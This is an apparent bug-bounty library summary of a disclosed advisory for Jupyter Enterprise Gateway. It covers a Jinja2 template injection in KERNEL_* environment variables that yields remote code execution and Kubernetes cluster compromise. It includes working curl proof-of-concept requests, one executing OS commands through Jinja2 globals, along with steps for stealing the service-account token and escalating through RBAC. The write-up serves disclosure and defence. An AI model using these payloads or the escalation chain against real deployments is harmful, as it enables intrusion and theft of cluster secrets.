# Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution

Jinja2 SSTI in Enterprise Gateway's KERNEL_* env vars rendered into the kernel pod manifest yields RCE and service-account token theft, escalating to full cluster compromise.

- Payout: Research
- Severity: critical
- Program: Jupyter Enterprise Gateway
- Found by: ben-elttam
- Disclosed: 2026-06-03
- CVE: CVE-2026-44181
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f49j-v924-fx9w
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f49j-v924-fx9w
- Tags: area:web3 domain:cloud impact:internal-access impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:kubernetes tech:python technique:source-review vuln:rce vuln:ssti

**Target:** Kubernetes kernel-launcher manifest rendering (POST /api/kernels env)
**Root cause:** User-supplied KERNEL_* env vars are lowercased and passed directly into a Jinja2 template rendering the kernel pod manifest, so template expressions in values are evaluated server-side.
**Steps:**
1. POST to `/api/kernels` with `{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}"}}`
2. Observe created pod named `bdawg-49`, confirming template evaluation
3. Send `KERNEL_POD_NAME` = `bdawg-{{ cycler.__init__.__globals__.os.popen("hostname").read() }}` with `KERNEL_NAMESPACE: notebooks`
4. Pod name becomes the gateway pod hostname, proving OS command execution
5. Use the pod's service account token with `kubectl auth can-i --list` to enumerate R/W on secrets, pods, PVs, rolebindings
**How found:** Reporter traced the kernel-pod.yaml.j2 template and k8s.py rendering code, noticed KERNEL_* env values from the API call flow into Jinja2 rendering, and tested with `{{7*7}}` in KERNEL_POD_NAME.
**Exploitation:** Attacker with API access submits a kernel creation request whose KERNEL_POD_NAME contains a Jinja2 expression; the gateway renders it, executing Python/OS commands in the gateway pod. The attacker then reads the mounted service-account token and uses its broad RBAC (secrets, pods, PVs, rolebindings) to read secrets and schedule privileged or hostPath-mounted pods, compromising the cluster.
**Escalation:** SSTI RCE -> steal service account token -> abuse RBAC to read secrets and create privileged/hostPath pods -> full cluster compromise.
**Insight:** When a manifest/config template is rendered from user-controlled env vars, test every KERNEL_* key (not just the obvious one) with `{{7*7}}` and check the resulting resource name; then pivot to the pod's mounted service-account token to gauge RBAC blast radius.

## Proof of concept (copied exactly from the original report)

**curl request with Jinja2 SSTI in KERNEL_POD_NAME**

```
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
```

**RCE via os.popen in template expression**

```
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
```

